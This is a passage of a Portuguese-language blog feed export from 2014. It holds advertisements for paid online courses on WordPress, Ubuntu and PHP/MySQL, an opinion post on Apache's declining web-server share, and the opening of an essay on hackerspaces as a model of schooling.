</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/1070768675025964980/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/03/cursos-de-libreoffice-hangout-por-video.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/1070768675025964980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/1070768675025964980'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/03/cursos-de-libreoffice-hangout-por-video.html' title='Cursos de LibreOffice Hangout por vídeo'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-1232674431903317097</id><published>2014-03-07T23:07:00.000-04:00</published><updated>2016-01-05T10:42:45.927-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="Programas"/><category scheme="http://www.blogger.com/atom/ns#" term="Rede Sociais"/><title type='text'>Curso de WordPress no Hangout por vídeo</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDYedDvoyWxYAHQQ_x8hJPJ8gXOcaXJa0wkaWDm5G_xzCQc9AVVsSqK8Civlym9flaXXRM8XKrQT3B6WSwo-N8vR4pWhS6_d2AaqTGZTVLmE7ebQRYCyrRjUpZzIZfj9Q3DP4TZBM0_1Q/s1600/templates-wordpress.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;158&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDYedDvoyWxYAHQQ_x8hJPJ8gXOcaXJa0wkaWDm5G_xzCQc9AVVsSqK8Civlym9flaXXRM8XKrQT3B6WSwo-N8vR4pWhS6_d2AaqTGZTVLmE7ebQRYCyrRjUpZzIZfj9Q3DP4TZBM0_1Q/s1600/templates-wordpress.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
WordPress para um Blog Profissional!&lt;br /&gt;
Sem dúvidas WordPress é uma das melhores ferramentas para construção de Sites e Blogs gratuitos do mundo. Esta gigante ferramenta tem conquistado e dominado o mundo dos blogs, sem parar de crescer, proporciona aos usuários fazerem um site em poucos minutos além de mantê-lo sempre atualizados.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
WordPress conta com uma enorme quantidade de Plugins e Themas Prontos. Tudo via Clique, não necessita saber programação.&lt;br /&gt;
Existem muitas vantagens em ter um blog, desde a promoção de um produto, serviço, pessoa ou empresa, evento, etc… até o prazer de ser ouvido por algumas pessoas ou ganhar dinheiro com o blog.&lt;br /&gt;
Através deste Curso de WordPress é ensinado ao usuário deste a Instalação até a utilização de todas as ferramentas que o WP ofereçe! Realmente um Curso Completo de WordPress!&lt;br /&gt;
Crie seu Blog, Faça seu Site. Utilizando o WordPress.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;CONTEÚDO PROGRAMÁTICO:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Introdução:&lt;/b&gt;&lt;br /&gt;
Conheça um pouco mais do wordpress e a diferença entre vantagens e desvantagens de um blog grátis ou pago.&lt;br /&gt;
Instalação:&lt;br /&gt;
Criar um blog wordpress grátis e também instalar o wordpress.&lt;br /&gt;
Instalação do wordpress via cpanel:&lt;br /&gt;
Primeiro Login:&lt;br /&gt;
Conhecer um pouco melhor o painel administrativo, como gerenciar seu blog, funções importantes etc…&lt;br /&gt;
Criando categorias:&lt;br /&gt;
Aprender a criar categorias para organizar posts e páginas.&lt;br /&gt;
Primeiro post:&lt;br /&gt;
O que é um Post?&lt;br /&gt;
Aprender a criar um Post.&lt;br /&gt;
Criando páginas:&lt;br /&gt;
O que é uma Página.&lt;br /&gt;
Aprender a criar uma página.&lt;br /&gt;
Instalando Plugins:&lt;br /&gt;
O WordPress é composto por 80% de Plugins! Através deles seu site pode fazer tudo!&lt;br /&gt;
O que é um Plugin.&lt;br /&gt;
Como baixar um Plugin.&lt;br /&gt;
Como descobrir o melhor plugin.&lt;br /&gt;
Como Instalar um Plugin.&lt;br /&gt;
Como configurar o Plugin Instalado.&lt;br /&gt;
Alterando o tema:&lt;br /&gt;
O WordPress possui milhares de Temas pré-definidos, você poderá mudar a interface do seu blog/site a qualquer momento!&lt;br /&gt;
Como procurar um Tema para WordPress.&lt;br /&gt;
Aprender a instalar um novo tema visual.&lt;br /&gt;
Configurar o Tema se necessário.&lt;br /&gt;
Usando widgets:&lt;br /&gt;
Podemos resumir que Widgets são os menus e é neles que adicionamos os plugins e outras funcionalidades existentes do WordPress&lt;br /&gt;
Aprender a usar widgets para organizar nossa barra lateral.&lt;br /&gt;
Aprovando comentários:&lt;br /&gt;
Sobre comentários.&lt;br /&gt;
Aprender aprovar ou deletar comentários.&lt;br /&gt;
Como criar um blog wordpress grátis&lt;br /&gt;
Rápido e fácil, como criar um blog gratuitamente.&lt;br /&gt;
Como criar um Blog Profissional: Exemplo: www.Meublog.com.br&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Valor:&lt;/b&gt;&lt;br /&gt;
Depois de 30 dias a apostila com 102 paginas;&lt;br /&gt;
Valor: R$ 350,00.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Mais Informações:&lt;/b&gt;&lt;br /&gt;
67 3022-6837 ou 9136-2112&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/1232674431903317097/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/03/curso-de-wordpress-no-hangout-por-video.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/1232674431903317097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/1232674431903317097'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/03/curso-de-wordpress-no-hangout-por-video.html' title='Curso de WordPress no Hangout por vídeo'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDYedDvoyWxYAHQQ_x8hJPJ8gXOcaXJa0wkaWDm5G_xzCQc9AVVsSqK8Civlym9flaXXRM8XKrQT3B6WSwo-N8vR4pWhS6_d2AaqTGZTVLmE7ebQRYCyrRjUpZzIZfj9Q3DP4TZBM0_1Q/s72-c/templates-wordpress.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-6021635947959616207</id><published>2014-03-07T22:55:00.001-04:00</published><updated>2016-01-05T10:43:19.379-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>Curso Instalação Uso do Ubuntu no Hangout por vídeo</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://ubuntued.info/wp-content/uploads/2012/05/02_1/vlcsnap-2012-05-02-02h05m48s78.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://ubuntued.info/wp-content/uploads/2012/05/02_1/vlcsnap-2012-05-02-02h05m48s78.jpg&quot; height=&quot;238&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Curso de instalação uso do Ubuntu, um ótimo sistema operacional, você irá ver que este curso irá ensinar de uma forma bem simples o PASSO A PASSO de como se faz para instalar o Sistema Operacional Ubuntu e deixa – lo pronto para ser utilizado.&lt;br /&gt;
Ubuntu é um sistema operacional bem semelhante aos sistemas operacionais da Microsoft, só que com uma unica diferença é um sistema operacional totalmente gratuito que pode ser baixado totalmente de graça.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;O curso desenvolverá no aluno a capacidade de:&lt;/b&gt;&lt;br /&gt;
Instalar o Sistema Operacional Ubuntu obtendo uma aprendizagem detalhada do melhor que o sistema oferece.&lt;br /&gt;
Gerenciar os principais aplicativos do ubuntu.&lt;br /&gt;
Trabalhar com programas de &amp;nbsp;midia, editor de texto e outros aplicativos importantes do ubuntu.&lt;br /&gt;
Ter a capacidade de manusear as diversas funções que o ubuntu oferece.&lt;br /&gt;
Aprender a atualizar os aplicativos do sistema quando necessário.&lt;br /&gt;
…&lt;br /&gt;
Conheça as vantagens de escolher o ubuntu como sistema operacional.&lt;br /&gt;
&lt;br /&gt;
É bonito – Só de mexer com a área de desktop no formato cubo, “escrever na tela com fogo” e muito mais.&lt;br /&gt;
Instalar aplicativos é fácil – Precisa instalar um software para editar imagens? Simplesmente abra o Adicionar/remover programas e pronto! Dezenas de aplicativos de graça e instaláveis em segundos!&lt;br /&gt;
É seguro – Um sistema operacional que não precisa de firewall ou antivírus! Isso mesmo é sem vírus!&lt;br /&gt;
Muitas opções de mudanças – Cansou de algo? É só mudar o perfil padrão do ambiente gráfico, dos ícones, do wallpaper, das cores, enfim de tudo. E com alguns poucos cliques, sem precisar de programas de terceiros e ainda com um site cheio de temas prontos para uso, de graça.&lt;br /&gt;
Comunidade não é coisa de escola de samba – Tem alguma dúvida? Use os fóruns, mailing-lists, blogs, sites de tutoriais e muito mais, pois o que tem de gente que se ajuda no Ubuntu é coisa de outro mundo.&lt;br /&gt;
Totalmente: Grátis.&lt;br /&gt;
Rede simples – Eu enxergo uma rede com o Windows nativamente, sem problemas.&lt;br /&gt;
Firefox, Brasero, OpenOffice e Transmission – posso fazer quase tudo assim que instalo o sistema.&lt;br /&gt;
Rápido – Preciso abrir o Firefox e… Já foi! E isso num PC antigo que não tem nem 1gb de RAM.&lt;br /&gt;
Atualizações – Enquanto outros sistemas são mensal – e olhe lá – no Ubuntu pode até ser diário.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;CONTEÚDO PROGRAMÁTICO:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Introdução:&lt;/b&gt;&lt;br /&gt;
Apresentação do curso.&lt;br /&gt;
Preparando o ambiente para a instalação.:&lt;br /&gt;
&lt;br /&gt;
A instalação do GNU/Linux Ubuntu e feita com bastante facilidade, mas é necessário que se faça algumas pré configurações antes do inicio da instalação,assim neste ponto iremos preparar o computador para receber o novo sistema operacional.&lt;br /&gt;
Inicializando a Instalação do Ubuntu:&lt;br /&gt;
&lt;br /&gt;
Já configurado o setup para a execução correta do boot via CD, aqui iremos abordar a sequência da instalação do sistema ubuntu e tudo isto de uma forma bem ilustrada, daqui em diante você vai aprender com bastante facilidade cada passo a seguir até que a instalação esteja finalizada e o sistema pronto a ser utilizado.&lt;br /&gt;
Realizando a configuração, instalando e finalizando..:&lt;br /&gt;
&lt;br /&gt;
Aqui iremos abordar a configuração do particionamento de onde o sistema ficará instalado, é essencial que esta parte seja feita de forma correta para que não se tenha problemas futuros com a instalação do sistema, além do passo a passo e os cuidados necessários até que ocorra a finalização da instalação do ubuntu de forma segura.&lt;br /&gt;
Instalação do ubuntu.:&lt;br /&gt;
&lt;br /&gt;
Apostila completa em pdf com todas as informações obtidas durante o curso é um excelente material de apoio onde você terá todas as ilustrações utilizadas no curso, também todas as explicações necessárias para que você não tenha nenhum tipo de dúvida em relação a instalação do sistema operacional em estudo.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Baixando a versão atualizada do ubuntu.:&lt;/b&gt;&lt;br /&gt;
Aqui abordaremos os principais passos de como baixar a versão atualizada de instalação do Ubuntu de forma gratuita, ensinando você a não ter nenhuma dificuldade na aquisição deste excelente sistema operacional e o que é melhor você não pagará nada por isso.&lt;br /&gt;
Baixando a versão atualizada do ubuntu.:&lt;br /&gt;
&lt;br /&gt;
Este e um excelente material de apoio pois nela você encontrará como é feito os principais passos de como baixar a versão atualizada de instalação do Ubuntu de forma gratuita, ensinando você a não ter nenhuma dificuldade na aquisição deste excelente sistema operacional e o que é melhor você não pagará nada por isso.&lt;br /&gt;
Aprendendo o ambiente gráfico do ubuntu.:&lt;br /&gt;
&lt;br /&gt;
Nesta parte do curso iremos fazer um passeio pelas principais partes do ubuntu, conhecer de forma bem prática as principais funções que podemos desempenhar dentro do ambiente depois do sistema já estiver instalado.&lt;br /&gt;
Desvendando de maneira fácil o ubuntu.:&lt;br /&gt;
&lt;br /&gt;
No texto anterior você conheceu o menu APLICAÇÕES e suas utilidades, conheceu alguns dos principais programas existentes no Ubuntu e ainda aprendeu a resolver alguns probleminhas básicos. Vamos agora dar uma espiada nos menus LOCAIS e SISTEMA. Também vamos aprender a fazer algumas configurações a fim de preparar seu Ubuntu para um uso ainda mais completo.&lt;br /&gt;
Conhecendo o ambiente gráfico do ubuntu :&lt;br /&gt;
&lt;br /&gt;
Aqui você terá acesso a todas as informações apresentadas, além de conhecer alguns programas que com certeza lhe serão bastante úteis, vamos aprender a resolver alguns probleminhas que ocorrem quando a gente usa o Ubuntu pela primeira vez como a impossibilidade de rodar arquivos mp3, por exemplo .&lt;br /&gt;
Trabalhando os recursos do ubuntu.:&lt;br /&gt;
&lt;br /&gt;
Nesta parte você terá acesso a todas as informações apresentadas continuando a etapa anterior, agora vamos ver como funciona os menus LOCAIS e SISTEMA. Também vamos aprender a fazer algumas configurações a fim de preparar seu Ubuntu para um uso ainda mais completo.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Valor:&lt;/b&gt;&lt;br /&gt;
Depois de 30 dias a apostila com 102 paginas;&lt;br /&gt;
Valor: R$ 350,00.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Mais Informações:&lt;/b&gt;&lt;br /&gt;
67 3022-6837 ou 9136-2112&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/6021635947959616207/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/03/curso-instalacao-do-ubuntu-no-hangout.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/6021635947959616207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/6021635947959616207'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/03/curso-instalacao-do-ubuntu-no-hangout.html' title='Curso Instalação Uso do Ubuntu no Hangout por vídeo'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-2460871348175378420</id><published>2014-03-07T22:29:00.001-04:00</published><updated>2016-02-11T12:41:38.428-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="SQL"/><category scheme="http://www.blogger.com/atom/ns#" term="Webdesigner"/><title type='text'>Curso Online de PHP + MySQL no Hangout por vídeo</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJm2y5lrPQ_jbViw_EoiqGLpDyS8GE0jUaWMoxzxDCugFM6wJE8m3I0MiqC_Me3s1JxQH26z2o8EzRcT9vlto-p8yTEFnIExyBN-jk6cFttlCExE2scu6DKS1qFc5wrfjBkr69IawEa1I/s1600/faixa.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJm2y5lrPQ_jbViw_EoiqGLpDyS8GE0jUaWMoxzxDCugFM6wJE8m3I0MiqC_Me3s1JxQH26z2o8EzRcT9vlto-p8yTEFnIExyBN-jk6cFttlCExE2scu6DKS1qFc5wrfjBkr69IawEa1I/s1600/faixa.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
O objetivo desse curso é ensinar sobre a configuração PHP com Apache, operadores de comparação e estruturas de controle. Você também aprenderá como mandar formulários e a manipular arquivos.&lt;br /&gt;
&lt;b&gt;Duração: &lt;/b&gt;30 dias&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Conteúdo:&lt;/b&gt;&lt;br /&gt;
Possibilidades com PHP;&lt;br /&gt;
Instalação do XAMPP ou WAMP: Apache, PHP, Mysql e PHPMyAdmin;&lt;br /&gt;
Adobe Dreamweaver;&lt;br /&gt;
HTML&amp;nbsp;+ CSS com Bootstrap e Jquery;&lt;br /&gt;
Configurando PHP com Apache;&lt;br /&gt;
Classes e Objetos;&lt;br /&gt;
Operadores de comparação;&lt;br /&gt;
Tipo Booleano;&lt;br /&gt;
Tipo Ponto Flutuante e String;&lt;br /&gt;
Tipo Objetos e NULL;&lt;br /&gt;
Estruturas de Controle - If e Else;&lt;br /&gt;
Trabalhando com Datas - Funções;&lt;br /&gt;
Trabalhando com Arrays - Criando;&lt;br /&gt;
Formulários na prática;&lt;br /&gt;
Envio de e-mails;&lt;br /&gt;
Sessões e Cookies;&lt;br /&gt;
SQL - Introdução;&lt;br /&gt;
Banco de Dados - Tipos e Instalação;&lt;br /&gt;
Conectando ao MySQL e Realizando consultas;&lt;br /&gt;
Tratamento de Erros;&lt;br /&gt;
Manipulação de Arquivos - Lendo e Escrevendo;&lt;br /&gt;
Smarty - Utilizando Smarty;&lt;br /&gt;
Utilizando phpMyAdmin.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLbPuSPCMESWXCvhtQndpHbAvj06r9jD8giqGuL1_gtnbE2yBrXr-yu7yEu8cYMYhENJOorBWijRKmQJl_WvTk0yXPurJKdsBJCly00IMinlwKFwZBfKTlL1G22tcOeBxNdLsegWogv0w/s1600/elephant.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;127&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLbPuSPCMESWXCvhtQndpHbAvj06r9jD8giqGuL1_gtnbE2yBrXr-yu7yEu8cYMYhENJOorBWijRKmQJl_WvTk0yXPurJKdsBJCly00IMinlwKFwZBfKTlL1G22tcOeBxNdLsegWogv0w/s1600/elephant.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Valor:&lt;/b&gt;&lt;br /&gt;
Depois de 30 dias a apostila com 102 paginas;&lt;br /&gt;
Valor: R$ 350,00.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Mais Informações:&lt;/b&gt;&lt;br /&gt;
67 3022-6837 ou 9136-2112&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/2460871348175378420/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/03/curso-online-de-php-mysql-no-hangout.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/2460871348175378420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/2460871348175378420'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/03/curso-online-de-php-mysql-no-hangout.html' title='Curso Online de PHP + MySQL no Hangout por vídeo'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJm2y5lrPQ_jbViw_EoiqGLpDyS8GE0jUaWMoxzxDCugFM6wJE8m3I0MiqC_Me3s1JxQH26z2o8EzRcT9vlto-p8yTEFnIExyBN-jk6cFttlCExE2scu6DKS1qFc5wrfjBkr69IawEa1I/s72-c/faixa.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-2803396522304288422</id><published>2014-03-06T23:18:00.002-04:00</published><updated>2014-03-06T23:18:38.403-04:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="SQL"/><title type='text'>O último dos Apaches</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.mostafaberg.com/wp-content/uploads/2011/04/apache-2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://www.mostafaberg.com/wp-content/uploads/2011/04/apache-2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Na última edição da newsletter do site Netcraft, vi uma estatística sobre o uso do Apache webserver que me deu um frio na barriga. Assim como o clássico americano “o último dos moicanos”, parece que estamos vivendo tempos de extinção também de projetos open sources.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;Não, o projeto Apache não está acabando.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://imasters.com.br/wp-content/uploads/2014/02/apache-2-620x525.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://imasters.com.br/wp-content/uploads/2014/02/apache-2-620x525.png&quot; height=&quot;337&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Apache-2&lt;/b&gt;&lt;br /&gt;
De acordo com as estatísticas de servidores web no ar, coletadas mensalmente pela Netcraft desde quando eu soube o que era Internet (na verdade, desde que eu soube o que era Linux), o uso do Apache nunca esteve num patamar tão baixo de utilização. Os dados se comparam com os de 1995! Ou seja, depois de quase 20 anos reinando como o melhor webserver de todos, desbancando até os servidores proprietários da época como o da NCSA (era o Netscape?) e da própria Sun, agora o Apache vê seu rival IIS pronto pra tirar seu pódio e se tornar o mais usado servidor web.&lt;br /&gt;
&lt;br /&gt;
Parte da culpa disso, é claro, vem da adoção do cloud da Microsoft, o Azure. Tem também a parcela de crescimento do “new kid on the block” do pedaço, o nginx. Mas parece ser inevitável uma mudança no comportamento de uso dos servidores web, trocando o open source pelo proprietário.&lt;br /&gt;
&lt;br /&gt;
As consequências podem ser as piores possíveis, indo da diminuição de contribuições ao projeto Apache, o que talvez leve a um total abandono de seu uso, até o risco de a Microsoft enfiar algum serviço proprietário web, como um protocolo fechado, que só funcione em servidores IIS/Azure com browser Internet Explorer (vide protocolo do Exchange Server com o Outlook, o MAPI). Esse risco sempre existe quando se trata de Microsoft, que não pensa duas vezes em criar barreiras de uso pra aprisionar ainda mais seus usuários.&lt;br /&gt;
&lt;br /&gt;
Por outro lado, mostra também que a grande maioria dos desenvolvedores estão migrando pra web. E infelizmente trazendo as péssimas práticas que aprenderam nas escolas, aquelas que têm todo um parque de ferramentas e máquinas doados pela Microsoft.&lt;br /&gt;
&lt;br /&gt;
Fonte:&amp;nbsp;Imasters&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/2803396522304288422/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/03/o-ultimo-dos-apaches.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/2803396522304288422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/2803396522304288422'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/03/o-ultimo-dos-apaches.html' title='O último dos Apaches'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-831862773029329452</id><published>2014-03-02T16:38:00.000-04:00</published><updated>2016-02-05T11:17:50.216-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Educação"/><title type='text'>Um novo modelo de escola - Hackerspace</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFLsxunmgRM5rzJFKL85B1gtJXu30P8ExnzWpUdfrpoWJZfVasXMOXPk4auTZD_zK3XCEaSYAo5g_z_FqW0Vajh7Pd7jAgxdpoJJ9V__PCISx-k_wjvCC9AQbigMtLIp_1U8ns_2lo7Xk/s1600/hackerspace-2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;152&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFLsxunmgRM5rzJFKL85B1gtJXu30P8ExnzWpUdfrpoWJZfVasXMOXPk4auTZD_zK3XCEaSYAo5g_z_FqW0Vajh7Pd7jAgxdpoJJ9V__PCISx-k_wjvCC9AQbigMtLIp_1U8ns_2lo7Xk/s1600/hackerspace-2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
A palavra escola vem do grego skholē e, paradoxalmente, significava lazer. A escola para os gregos da antiguidade trazia momentos de ócio, reflexão e experimentação livre. O ensino obrigatório era aplicado somente à escravos e adotado pelos espartanos devido a sua conduta militiar.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Hackerspace&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Hackerspace, por outro lado, vem da combinação das palavras inglesas hacker e space. Hacker, em seu sentido mais amplo, significa descobrir, modificar e compartilhar. Dessa forma, hackerspace é o espaço onde as pessoas podem hackear coisas. Trata-se, no fundo, de um espaço físico muito semelhante a um laboratório de informática onde pessoas compartilham informação, realizam experimentos, fazem debates e palestras, praticam jornalismo hacker, dentre outras formam de compartilhar conhecimento.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Diferente do atual modelo de escola, não há (ou pouco se vê) estrutura hierárquica, divisão de idades, meritocracia, castigos, divisão por níveis de conhecimento (classes), nem testes de aprovação. Tudo ocorre de forma livre e experimental, sem qualquer forma de opressão e obrigatoriedade, todas as ações são discutidas e realizadas de forma coletiva. Além disso, os espaços tem acesso público.&lt;br /&gt;
&lt;br /&gt;
